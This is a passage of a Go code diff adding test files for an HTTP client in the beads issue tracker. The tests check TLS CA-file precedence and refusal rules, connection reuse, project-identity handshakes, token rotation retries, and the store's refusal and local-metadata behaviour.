%q, want %q; TransportFor must not override ServerName", h.seenSNI(), "localhost") + } + if wantHost := u.Host; h.seenHost() != wantHost { + t.Errorf("Host header = %q, want %q", h.seenHost(), wantHost) + } +} + +// TestTransportForSucceedsWithEnvCAFile is the "succeeds with ca_file (env)" +// case: BEADS_HTTP_CA_FILE, host-scoped to exactly this target's host:port, +// with no sidecar CAFile at all. +func TestTransportForSucceedsWithEnvCAFile(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-env-ca")} + u := ca.startServer(t, h.handler()) + t.Setenv(CAFileEnv, u.Host+"="+ca.writePEM(t)) + + target := Target{BaseURL: u} + warmIPv4OnlyCATransport(t, target) + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake with %s: %v", CAFileEnv, err) + } + if snap.ProjectId != "proj-env-ca" { + t.Errorf("project_id = %q, want proj-env-ca", snap.ProjectId) + } +} + +// TestCAFileEnvAgreeingWithSidecarSucceeds pins the documented precedence when +// the two rungs agree: the env var's host-scoped pattern matches the target +// and names the SAME file the sidecar does, so there is nothing to disagree +// about and the dial succeeds. +func TestCAFileEnvAgreeingWithSidecarSucceeds(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-agree")} + u := ca.startServer(t, h.handler()) + + path := ca.writePEM(t) + t.Setenv(CAFileEnv, u.Host+"="+path) + target := Target{BaseURL: u, CAFile: path} + warmIPv4OnlyCATransport(t, target) + + if _, err := Handshake(context.Background(), target, DialOptions{}); err != nil { + t.Fatalf("env and sidecar naming the same CA for the same target should succeed: %v", err) + } +} + +// TestCAFileEnvDisagreeingWithSidecarRefuses is finding 1(c): the env var's +// host-scoped pattern matches the target, but names a DIFFERENT file than the +// target's own sidecar ca_file. That is a hard refusal, not a silent +// override in either direction — the two disagreeing is very likely a stale +// sidecar or a misdirected env var, and picking one silently would trust +// whichever file the operator did not intend. +func TestCAFileEnvDisagreeingWithSidecarRefuses(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-disagree")} + u := right.startServer(t, h.handler()) + + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + target := Target{BaseURL: u, CAFile: wrong.writePEM(t)} + + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded despite the env CA and the sidecar ca_file disagreeing for the same target") + } + if !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name %s", err, CAFileEnv) + } + if h.sawRequest() { + t.Error("server saw a request; a disagreement must be refused before dialing") + } +} + +// TestCAFileEnvNonMatchingHostKeepsSystemRoots is the mandated test for +// finding 1: a target whose host the env var's pattern does NOT match must +// keep using system roots (or its own sidecar), never the env's private CA — +// otherwise BEADS_HTTP_CA_FILE set for one server would let its +// no-name-constraints CA impersonate every other host this process dials, +// e.g. api.github.com. +func TestCAFileEnvNonMatchingHostKeepsSystemRoots(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-other-host")} + u := ca.startServer(t, h.handler()) + + // The env var is well-formed and points at a valid CA, but scoped to a + // host that is NOT the target being dialed. + t.Setenv(CAFileEnv, "unrelated.example.com:9999="+ca.writePEM(t)) + + target := Target{BaseURL: u} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded against a private-CA server using only system roots; the non-matching env var must not have applied") + } + if h.sawRequest() { + t.Error("server saw a request; TLS verification against system roots should have failed before any HTTP request") + } +} + +// TestTransportForWrongCAFails is the "fails with the wrong CA" case. +func TestTransportForWrongCAFails(t *testing.T) { + clearCAEnvironment(t) + serverCA := newTestCA(t) + otherCA := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-wrong-ca")} + u := serverCA.startServer(t, h.handler()) + + target := Target{BaseURL: u, CAFile: otherCA.writePEM(t)} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded against a server signed by a CA other than the configured one") + } + if h.sawRequest() { + t.Error("server saw a request; the TLS handshake should have failed before any HTTP request") + } +} + +// TestNoCAConfiguredOnlySystemRootsFails is the "fails with the right hostname +// but only system roots" case: a workspace that never configured ca_file or +// BEADS_HTTP_CA_FILE must not trust a private CA just because it dialed the +// right host. +func TestNoCAConfiguredOnlySystemRootsFails(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-no-ca")} + u := ca.startServer(t, h.handler()) + + target := Target{BaseURL: u} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake succeeded with no CA configured against a server the system roots do not trust") + } +} + +// TestDialWithNilTransportHTTPClientGetsCAInjectedOnACopy is finding 5's +// first half: a caller that supplies an *http.Client with a nil Transport +// (Timeout, CheckRedirect, Jar set for its own reasons, but no opinion on the +// transport) gets the resolved CA transport injected automatically — DialWith +// must not silently drop ca_file just because HTTPClient was non-nil — and it +// must happen on a COPY, leaving the caller's own *http.Client untouched. +func TestDialWithNilTransportHTTPClientGetsCAInjectedOnACopy(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-nil-transport-client")} + u := ca.startServer(t, h.handler()) + + callerClient := &http.Client{Timeout: 7 * time.Second} + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + warmIPv4OnlyCATransport(t, target) + + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: callerClient}) + if err != nil { + t.Fatalf("Handshake with a nil-Transport HTTPClient and a configured CA: %v", err) + } + if snap.ProjectId != "proj-nil-transport-client" { + t.Errorf("project_id = %q, want proj-nil-transport-client", snap.ProjectId) + } + if callerClient.Transport != nil { + t.Error("DialWith mutated the caller's own *http.Client; it must inject on a copy") + } +} + +// TestDialWithOwnTransportHTTPClientAndConfiguredCARefuses is finding 5's +// second half: a caller that supplies an *http.Client with its OWN non-nil +// Transport has taken the transport over completely. If the target also has a +// CA configured, DialWith must refuse rather than silently dialing through a +// transport that may not trust it. +func TestDialWithOwnTransportHTTPClientAndConfiguredCARefuses(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-own-transport")} + u := ca.startServer(t, h.handler()) + + pool := x509.NewCertPool() + pool.AddCert(mustParseOneCert(t, ca.pem)) + // This transport actually trusts the CA — the refusal must fire on the + // mere presence of a caller-supplied Transport plus a configured CA, not + // on whether that transport happens to be wrong. + explicit := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{RootCAs: pool}}} + + target := Target{BaseURL: u, CAFile: ca.writePEM(t)} + _, err := Handshake(context.Background(), target, DialOptions{HTTPClient: explicit}) + if err == nil { + t.Fatal("Handshake succeeded with a caller-supplied Transport and a configured CA; DialWith should refuse rather than silently trust the caller's own transport") + } + if !strings.Contains(err.Error(), "ca_file") && !strings.Contains(err.Error(), CAFileEnv) { + t.Errorf("error %q does not name the CA setting at fault", err) + } + if h.sawRequest() { + t.Error("server saw a request; the refusal must fire before dialing") + } +} + +// TestDialWithOwnTransportHTTPClientAndNoCAIsUsedVerbatim confirms the other +// branch of finding 5: when the target has NO CA configured, a +// caller-supplied Transport is used exactly as given — DialWith has nothing +// to add and nothing to refuse. +func TestDialWithOwnTransportHTTPClientAndNoCAIsUsedVerbatim(t *testing.T) { + clearCAEnvironment(t) + h := &caContextHandler{body: v0Context("proj-own-transport-no-ca")} + srv := httptest.NewServer(h.handler()) + t.Cleanup(srv.Close) + u, err := url.Parse(srv.URL) + if err != nil { + t.Fatalf("parse server URL: %v", err) + } + + explicit := &http.Client{Transport: http.DefaultTransport} + target := Target{BaseURL: u} + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: explicit}) + if err != nil { + t.Fatalf("Handshake with a caller Transport and no CA configured: %v", err) + } + if snap.ProjectId != "proj-own-transport-no-ca" { + t.Errorf("project_id = %q, want proj-own-transport-no-ca", snap.ProjectId) + } +} + +// countBurstConnections fires n concurrent GETs at target through client and +// reports how many of them did NOT reuse an existing connection +// (httptrace.GotConnInfo.Reused == false), i.e. how many paid for a fresh +// dial (and, for this transport, a fresh TLS handshake). +func countBurstConnections(t *testing.T, client *http.Client, target *url.URL, n int) int64 { + t.Helper() + var wg sync.WaitGroup + var newConns int64 + for i := 0; i < n; i++ { + wg.Add(1) + go func() { + defer wg.Done() + reused := make(chan bool, 1) + trace := &httptrace.ClientTrace{ + GotConn: func(info httptrace.GotConnInfo) { reused <- info.Reused }, + } + ctx := httptrace.WithClientTrace(context.Background(), trace) + req, err := http.NewRequestWithContext(ctx, http.MethodGet, target.String(), nil) + if err != nil { + t.Errorf("NewRequest: %v", err) + return + } + resp, err := client.Do(req) + if err != nil { + t.Errorf("Do: %v", err) + return + } + // A connection only goes back into the idle pool once its body is + // drained to EOF: Close() alone does not reuse it (net/http's + // documented behavior), so an un-drained Close here would make + // every request in the burst look like a fresh dial regardless of + // MaxIdleConnsPerHost. + _, _ = io.Copy(io.Discard, resp.Body) + _ = resp.Body.Close() + if !<-reused { + atomic.AddInt64(&newConns, 1) + } + }() + } + wg.Wait() + return atomic.LoadInt64(&newConns) +} + +// TestTransportForRaisesMaxIdleConnsPerHostForBursts is the perf-hardening +// half of TransportFor: gc's ready-veto fan-out dials one CA-scoped target at +// concurrency 8, and http.DefaultTransport's MaxIdleConnsPerHost of 2 would +// force a fresh TLS handshake (~120ms at a cross-region round-trip time this CA exists +// for) on 6 of every 8 requests even once the pool is warm. This asserts the +// ceiling TransportFor sets, and that a burst run twice — the second after the +// first has gone idle — reuses every connection the second time, rather than +// re-dialing past whatever the ceiling is. +func TestTransportForRaisesMaxIdleConnsPerHostForBursts(t *testing.T) { + clearCAEnvironment(t) + ca := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-pool")} + u := ca.startServer(t, h.handler()) + + rt, err := TransportFor(Target{BaseURL: u, CAFile: ca.writePEM(t)}) + if err != nil { + t.Fatalf("TransportFor: %v", err) + } + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("TransportFor returned %T, want *http.Transport", rt) + } + if transport.MaxIdleConnsPerHost != maxIdleConnsPerHost { + t.Errorf("MaxIdleConnsPerHost = %d, want %d", transport.MaxIdleConnsPerHost, maxIdleConnsPerHost) + } + t.Cleanup(transport.CloseIdleConnections) + + const burst = 8 + client := &http.Client{Transport: transport} + + if warm := countBurstConnections(t, client, u, burst); warm == 0 { + t.Fatal("first burst reused connections that could not have existed yet") + } + + // Let the just-finished burst's connections settle into the idle pool + // before firing the repeat — reuse only happens once a connection is + // idle, not merely finished. + var steady int64 + for attempt := 0; attempt < 5; attempt++ { + time.Sleep(50 * time.Millisecond) + steady = countBurstConnections(t, client, u, burst) + if steady == 0 { + break + } + } + if steady != 0 { + t.Errorf("repeat burst dialed %d/%d fresh connections after warm-up; MaxIdleConnsPerHost=%d is not keeping enough connections idle", steady, burst, transport.MaxIdleConnsPerHost) + } +} + +// --- finding 6: transport caching and root rotation --- + +// TestHandshakeGatesIdentityBeforeAnythingIsServed is the wrong-server +// diagnostic connect leans on: the sidecar's pin is compared with the server's +// own project id, and a mismatch names both plus where that server's data lives. +func TestHandshakeGatesIdentityBeforeAnythingIsServed(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-server")} + srv := server.start(t) + + target := Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-workspace"} + _, err := Handshake(context.Background(), target, DialOptions{}) + if err == nil { + t.Fatal("Handshake accepted a server that owns a different project") + } + var mismatch *wire.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("Handshake error = %T (%v), want *wire.ProjectMismatchError", err, err) + } + for _, want := range []string{"proj-server", "proj-workspace", "/srv/repo", "bd connect"} { + if !strings.Contains(mismatch.Error(), want) { + t.Errorf("mismatch text is missing %q:\n%s", want, mismatch.Error()) + } + } +} + +func TestHandshakeAcceptsTheMatchingServer(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-1")} + srv := server.start(t) + + got, err := Handshake(context.Background(), Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-1"}, DialOptions{}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if got.ProjectId != "proj-1" { + t.Errorf("project_id = %q, want proj-1", got.ProjectId) + } +} + +// TestOpenThroughTheDefaultDialerReachesTheServer walks the whole activation +// path with nothing stubbed: the sidecar the connect path writes, the registered +// default dialer, and the lazy handshake behind the workspace-identity probe. +func TestOpenThroughTheDefaultDialerReachesTheServer(t *testing.T) { + clearCredentialEnvironment(t) + server := &contextServer{body: v0Context("proj-1")} + srv := server.start(t) + + dir := t.TempDir() + if err := SaveTarget(dir, Target{BaseURL: mustParseURL(t, srv.URL), ExpectProjectID: "proj-1"}); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + prev := dialer + RegisterDefaultDialer(DialOptions{UserAgent: "bd/test " + WireUserAgentSuffix}) + t.Cleanup(func() { dialer = prev }) + + opened, err := NewFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewFromConfig: %v", err) + } + t.Cleanup(func() { _ = opened.Close() }) + + // Nothing has dispatched yet: design D6 makes the context fetch lazy, so a + // command that only needs the baseline pays for one round trip, not two. + if len(server.seen) != 0 { + t.Errorf("Open dialed %d times; the handshake is lazy", len(server.seen)) + } + + got, err := opened.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata(_project_id): %v", err) + } + if got != "proj-1" { + t.Errorf("_project_id = %q, want the server's project", got) + } + if len(server.seen) != 1 { + t.Errorf("handshake ran %d times, want once and cached", len(server.seen)) + } +} + +// TestDialSendsTheBearerAndRetriesOnceAfterRotation composes the provider with +// the wire client's one-retry window: a client rolled mid-flight 401s once and +// succeeds on the retry, and only because Refresh re-read the source. +func TestDialSendsTheBearerAndRetriesOnceAfterRotation(t *testing.T) { + clearCredentialEnvironment(t) + path := filepath.Join(t.TempDir(), "credentials") + t.Setenv("BEADS_CREDENTIALS_FILE", path) + + server := &contextServer{body: v0Context("proj-1"), require: "rolled"} + srv := server.start(t) + base := mustParseURL(t, srv.URL) + + // The section key carries the server's ephemeral port, which only exists + // once httptest has bound. + writeCredential := func(token string) { + t.Helper() + if err := os.WriteFile(path, []byte(fmt.Sprintf("[%s]\npassword=%s\n", base.Host, token)), 0o600); err != nil { + t.Fatalf("write credentials file: %v", err) + } + } + writeCredential("stale") + server.onUnauthorized = func() { writeCredential("rolled") } + + conn, err := Dial(Target{BaseURL: base}, DialOptions{}) + if err != nil { + t.Fatalf("Dial: %v", err) + } + if _, err := conn.ServerContext(context.Background()); err != nil { + t.Fatalf("ServerContext across a rotation: %v", err) + } + + if len(server.seen) != 2 { + t.Fatalf("server saw %d requests, want the 401 and its single retry: %v", len(server.seen), server.seen) + } + if server.seen[0] != "Bearer stale" || server.seen[1] != "Bearer rolled" { + t.Errorf("request headers = %v, want the stale token then the rolled one", server.seen) + } +} + +// TestDialDoesNotRetryACredentialThatDidNotRoll: one retry is the whole +// rotation window. A second attempt with the same refused token would turn a +// clear 401 into two. +func TestDialDoesNotRetryACredentialThatDidNotRoll(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1=wrong") + + server := &contextServer{body: v0Context("proj-1"), require: "right"} + srv := server.start(t) + + conn, err := Dial(Target{BaseURL: mustParseURL(t, srv.URL)}, DialOptions{}) + if err != nil { + t.Fatalf("Dial: %v", err) + } + if _, err := conn.ServerContext(context.Background()); err == nil { + t.Fatal("ServerContext succeeded against a server that refuses this token") + } + if len(server.seen) != 1 { + t.Errorf("server saw %d requests, want exactly one: %v", len(server.seen), server.seen) + } +} diff --git a/internal/httpclient/store_test.go b/internal/httpclient/store_test.go new file mode 100644 index 000000000..117c77c4b --- /dev/null +++ b/internal/httpclient/store_test.go @@ -0,0 +1,465 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/store_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/url" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// fakeWire answers the handshake and nothing else. +// +// The embedded WriteWire is nil by design: it makes this double satisfy the +// transport seam however the role beads grow it, and it makes calling an +// operation it does not answer a panic rather than a silent zero — which is what +// a test that reached for one would deserve. A test that DOES need a write +// operation embeds its own stub instead (see the role tests). +type fakeWire struct { + WriteWire + + res *apigen.ContextResponse + err error + hits int + + // preflight and do stand in for the dispatch half of the seam. Nil means + // "this test does not dispatch": both fail loudly rather than answering + // something plausible, so a test that starts dispatching by accident says + // so instead of passing on a zero value. + preflight func(ctx context.Context, op string) error + do func(ctx context.Context, req wire.Request, out any) error +} + +func (f *fakeWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + f.hits++ + return f.res, f.err +} + +func (f *fakeWire) Preflight(ctx context.Context, op string) error { + if f.preflight == nil { + return fmt.Errorf("fakeWire: unexpected pre-flight for %q", op) + } + return f.preflight(ctx, op) +} + +func (f *fakeWire) Do(ctx context.Context, req wire.Request, out any) error { + if f.do == nil { + return fmt.Errorf("fakeWire: unexpected dispatch of %q", req.Op) + } + return f.do(ctx, req, out) +} + +// pinnedProjectTarget is this file's own Target builder, distinct from +// helpers_test.go's testTarget: several tests here assert against this +// specific URL and ExpectProjectID (the identity-mismatch and GetMetadata +// project-id tests), so it cannot share the generic "nothing pinned yet" +// helper. S3 reconciliation (2026-10) renamed it off +// testTarget — the lift had declared two package-scope functions under that +// one name (here and in helpers_test.go), which never compiled. +func pinnedProjectTarget(t *testing.T) Target { + t.Helper() + u, err := url.Parse("http://127.0.0.1:7777") + if err != nil { + t.Fatalf("parse url: %v", err) + } + return Target{BaseURL: u, ExpectProjectID: "proj-1"} +} + +// TestCommitFamilyIsNoOp is the D3 posture. Without it `bd ready --claim` exits +// 1 after a durable claim: auto-commit defaults on for a registered workspace, +// the claim path calls Commit, and PostRun turns any Commit error into a failed +// exit. +func TestCommitFamilyIsNoOp(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + ctx := context.Background() + + if err := s.Commit(ctx, "msg"); err != nil { + t.Errorf("Commit: %v, want nil", err) + } + if err := s.CommitWithConfig(ctx, "msg"); err != nil { + t.Errorf("CommitWithConfig: %v, want nil", err) + } + if err := s.CommitMergeResolution(ctx, "msg"); err != nil { + t.Errorf("CommitMergeResolution: %v, want nil", err) + } + pending, err := s.CommitPending(ctx, "actor") + if err != nil { + t.Errorf("CommitPending: %v, want nil", err) + } + if pending { + t.Error("CommitPending reported pending work; a remote store has none") + } + committed, err := s.CommitAll(ctx, "msg") + if err != nil { + t.Errorf("CommitAll: %v, want nil", err) + } + if committed { + t.Error("CommitAll claimed it created a commit; a remote store has no working set") + } + if err := s.Close(); err != nil { + t.Errorf("Close: %v, want nil", err) + } +} + +// TestCommitFamilyIsNotOnTheUnsupportedMap guards the other direction: if the +// commit family ever drifts onto the allowlist, the no-ops above are dead code +// and the claim path breaks. +func TestCommitFamilyIsNotOnTheUnsupportedMap(t *testing.T) { + for _, name := range []string{"Commit", "CommitWithConfig", "CommitMergeResolution", "CommitAll", "CommitPending", "Close"} { + if reason, ok := legitimatelyUnsupported[name]; ok { + t.Errorf("%q is on the unsupported allowlist (%q) but D3/D4 require a no-op", name, reason) + } + } +} + +// TestRefusalUnwrapsToPortableSentinel is the classification contract the whole +// refusal surface rests on: errors.As reaches *storage.ErrUnsupported through +// the richer http sentinel, and Op names the method that refused. +func TestRefusalUnwrapsToPortableSentinel(t *testing.T) { + // The handshake has already run, so the refusal decorates from the cache. + // Decorating must never dial: pass no transport at all. + s := New(pinnedProjectTarget(t), nil, &apigen.ContextResponse{ + BdVersion: "1.2.3", + Capabilities: []string{"issues.list", "issues.get"}, + }) + + // GetMetadata on a key other than _project_id is the STABLE sample, and the + // reason is worth stating so the next re-sampler does not rediscover it: the + // two properties this test needs are disjoint on ROLE ACCESSORS. It needs a + // refusal that is store-bound — only (*Store).unsupported fills in the + // ServerURL, BdVersion and Capabilities asserted below, where the generated + // shell's stubs hang off an empty value receiver and carry none of them — and + // it needs one that refuses permanently. Every hand-written accessor is one + // of D8's seventeen and eventually flips, and every permanent refuser is on + // the shell, so no accessor is both. This method is: it is hand-written, and + // no v0 operation exposes the metadata table beyond the identity key. + _, err := s.GetMetadata(context.Background(), "some-other-key") + if err == nil { + t.Fatal("GetMetadata on a non-identity key returned no error") + } + + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) { + t.Fatalf("errors.As to *storage.ErrUnsupported failed for %v", err) + } + if unsup.Op != "GetMetadata" { + t.Errorf("Op = %q, want %q", unsup.Op, "GetMetadata") + } + if unsup.Backend != "http" { + t.Errorf("Backend = %q, want %q", unsup.Backend, "http") + } + + var httpErr *ErrHTTPUnsupported + if !errors.As(err, &httpErr) { + t.Fatalf("errors.As to *ErrHTTPUnsupported failed for %v", err) + } + if httpErr.ServerURL != "http://127.0.0.1:7777" { + t.Errorf("ServerURL = %q, want the target", httpErr.ServerURL) + } + if httpErr.BdVersion != "1.2.3" { + t.Errorf("BdVersion = %q, want it from the handshake", httpErr.BdVersion) + } + if got := strings.Join(httpErr.Capabilities, ","); got != "issues.get,issues.list" { + t.Errorf("Capabilities = %q, want the advertised tokens sorted", got) + } + if !strings.Contains(err.Error(), "http://127.0.0.1:7777") { + t.Errorf("Error() = %q, want it to name the server", err.Error()) + } +} + +// TestRefusalDoesNotDial: a refusal is the one path that must stay fast and +// side-effect free, so decorating it uses the cached handshake or nothing. +// +// The sample has to be a STORE-BOUND refusal for this to assert anything at +// all — a generated shell stub cannot reach a transport, so it would report +// zero dials without the store having decided anything. See +// TestRefusalUnwrapsToPortableSentinel for why GetMetadata is the one method +// that is both store-bound and permanently refusing. +func TestRefusalDoesNotDial(t *testing.T) { + wire := &fakeWire{res: &apigen.ContextResponse{BdVersion: "1.2.3"}} + s := New(pinnedProjectTarget(t), wire, nil) + + if _, err := s.GetMetadata(context.Background(), "some-other-key"); err == nil { + t.Fatal("GetMetadata on a non-identity key returned no error") + } + if wire.hits != 0 { + t.Errorf("decorating a refusal dialed the server %d times, want 0", wire.hits) + } +} + +// TestBackstopRefusalNamesNoEmptyServer covers the generated shell's arm: it +// hangs off an empty receiver and cannot reach a target, so it must fall back to +// the portable rendering instead of printing "bd serve at " with nothing after. +// +// The sample was Commenter until client wave ga-f352s wired that accessor, at +// which point a zero Store answered the no-transport BUILD fault instead of the +// shell's refusal — a different error with a different meaning, and the test +// said so. It is Bootstrapper now, which is on the shell permanently: bootstrap +// is a server-side act, so no operation will ever put an accessor in front of it +// here. +func TestBackstopRefusalNamesNoEmptyServer(t *testing.T) { + _, err := (&Store{}).Bootstrapper() + if err == nil { + t.Fatal("Bootstrapper returned no error") + } + if strings.Contains(err.Error(), "bd serve at") { + t.Errorf("Error() = %q, want no dangling server clause", err.Error()) + } + var unsup *storage.ErrUnsupported + if !errors.As(err, &unsup) || unsup.Op != "Bootstrapper" { + t.Errorf("backstop refusal did not classify: %v", err) + } +} + +// TestGetMetadataServesProjectIdentity is D4's workspace-identity disposition. +// cmd/bd swallows an error here into "skip validation", so refusing would +// silently disarm wrong-server protection. +func TestGetMetadataServesProjectIdentity(t *testing.T) { + wire := &fakeWire{res: &apigen.ContextResponse{ProjectId: "proj-1"}} + s := New(pinnedProjectTarget(t), wire, nil) + ctx := context.Background() + + got, err := s.GetMetadata(ctx, "_project_id") + if err != nil { + t.Fatalf("GetMetadata(_project_id): %v", err) + } + if got != "proj-1" { + t.Errorf("GetMetadata(_project_id) = %q, want %q", got, "proj-1") + } + + // The handshake is fetched once and cached for the process (D6). + if _, err := s.GetMetadata(ctx, "_project_id"); err != nil { + t.Fatalf("second GetMetadata: %v", err) + } + if wire.hits != 1 { + t.Errorf("ServerContext called %d times, want 1 (cached)", wire.hits) + } + + // Any other key refuses rather than answering "" — that would be a dropped + // read dressed as an empty one. + if _, err := s.GetMetadata(ctx, "other"); err == nil { + t.Error("GetMetadata(other) returned no error, want a refusal") + } +} + +// TestGetMetadataWithoutHandshakeSkipsValidation: ("", nil) is the documented +// "new or pre-identity database" answer, which is the honest state before a +// handshake has run. +func TestGetMetadataWithoutHandshakeSkipsValidation(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + got, err := s.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata: %v", err) + } + if got != "" { + t.Errorf("GetMetadata = %q, want empty before the handshake", got) + } +} + +// TestLocalMetadataRoundTrips is D3/D4's local disposition: the deferred tip +// write in PostRun must succeed, and tips-shown timestamps are per-user state. +func TestLocalMetadataRoundTrips(t *testing.T) { + beadsDir := t.TempDir() + s := New(pinnedProjectTarget(t), nil, nil) + s.local = newLocalMetadata(beadsDir) + ctx := context.Background() + + got, err := s.GetLocalMetadata(ctx, "tip.shown") + if err != nil { + t.Fatalf("GetLocalMetadata on a fresh workspace: %v", err) + } + if got != "" { + t.Errorf("GetLocalMetadata = %q, want empty for a missing key", got) + } + + if err := s.SetLocalMetadata(ctx, "tip.shown", "2026-08-08"); err != nil { + t.Fatalf("SetLocalMetadata: %v", err) + } + if err := s.SetLocalMetadata(ctx, "other", "value"); err != nil { + t.Fatalf("second SetLocalMetadata: %v", err) + } + + got, err = s.GetLocalMetadata(ctx, "tip.shown") + if err != nil { + t.Fatalf("GetLocalMetadata: %v", err) + } + if got != "2026-08-08" { + t.Errorf("GetLocalMetadata = %q, want the written value", got) + } + + info, err := os.Stat(filepath.Join(beadsDir, LocalMetadataFileName)) + if err != nil { + t.Fatalf("stat local metadata file: %v", err) + } + if perm := info.Mode().Perm(); perm != 0o600 { + t.Errorf("local metadata file mode = %o, want 600", perm) + } +} + +// TestLocalMetadataWithoutWorkspaceDoesNotError: an ephemeral --server-url +// workspace has nowhere to write, and PostRun treats a write error as fatal. +func TestLocalMetadataWithoutWorkspaceDoesNotError(t *testing.T) { + s := New(pinnedProjectTarget(t), nil, nil) + if err := s.SetLocalMetadata(context.Background(), "tip.shown", "now"); err != nil { + t.Errorf("SetLocalMetadata with no workspace: %v, want nil", err) + } +} + +func TestLoadTarget(t *testing.T) { + t.Run("missing sidecar is not connected", func(t *testing.T) { + if _, err := LoadTarget(t.TempDir()); !errors.Is(err, ErrNotConnected) { + t.Errorf("LoadTarget on a bare dir = %v, want ErrNotConnected", err) + } + }) + + t.Run("round trip", func(t *testing.T) { + dir := t.TempDir() + want := pinnedProjectTarget(t) + if err := SaveTarget(dir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + got, err := LoadTarget(dir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.String() != want.String() { + t.Errorf("BaseURL = %q, want %q", got.String(), want.String()) + } + if got.ExpectProjectID != want.ExpectProjectID { + t.Errorf("ExpectProjectID = %q, want %q", got.ExpectProjectID, want.ExpectProjectID) + } + info, err := os.Stat(TargetPath(dir)) + if err != nil { + t.Fatalf("stat sidecar: %v", err) + } + if perm := info.Mode().Perm(); perm != 0o600 { + t.Errorf("sidecar mode = %o, want 600", perm) + } + }) + + t.Run("rejects a non-http scheme", func(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(TargetPath(dir), []byte(`{"url":"ftp://host/x"}`), 0o600); err != nil { + t.Fatalf("write sidecar: %v", err) + } + if _, err := LoadTarget(dir); err == nil || !strings.Contains(err.Error(), "scheme") { + t.Errorf("LoadTarget = %v, want a scheme complaint", err) + } + }) +} + +// swapDialer installs d for the duration of one test. The dialer is init-time +// wiring in production; tests are the only place it moves. +func swapDialer(t *testing.T, d WireDialer) { + t.Helper() + prev := dialer + dialer = d + t.Cleanup(func() { dialer = prev }) +} + +// TestOpenWithoutADialerRefuses: this bead ships no transport, so Open must say +// so plainly rather than hand back a store that cannot dial. +func TestOpenWithoutADialerRefuses(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, pinnedProjectTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + swapDialer(t, nil) + + if _, err := NewFromConfig(context.Background(), dir); !errors.Is(err, ErrNoTransport) { + t.Fatalf("NewFromConfig without a dialer = %v, want ErrNoTransport", err) + } +} + +// TestOpenDialsThroughTheRegisteredWire proves the injection seam: the wire-core +// bead registers a dialer and Open builds a store around it, with the sidecar's +// target threaded through and the workspace bound for local metadata. +func TestOpenDialsThroughTheRegisteredWire(t *testing.T) { + dir := t.TempDir() + want := pinnedProjectTarget(t) + if err := SaveTarget(dir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + var dialed Target + wire := &fakeWire{res: &apigen.ContextResponse{ProjectId: "proj-1"}} + swapDialer(t, func(_ context.Context, target Target) (WireClient, error) { + dialed = target + return wire, nil + }) + + opened, err := NewFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewFromConfig: %v", err) + } + if dialed.String() != want.String() { + t.Errorf("dialed %q, want the sidecar's target %q", dialed.String(), want.String()) + } + if dialed.ExpectProjectID != want.ExpectProjectID { + t.Errorf("dialed ExpectProjectID = %q, want %q", dialed.ExpectProjectID, want.ExpectProjectID) + } + + s, ok := opened.(*Store) + if !ok { + t.Fatalf("NewFromConfig returned %T, want *Store", opened) + } + if s.local == nil { + t.Error("store has no local metadata file bound; the PostRun tip write would be dropped") + } + if err := s.SetLocalMetadata(context.Background(), "tip.shown", "now"); err != nil 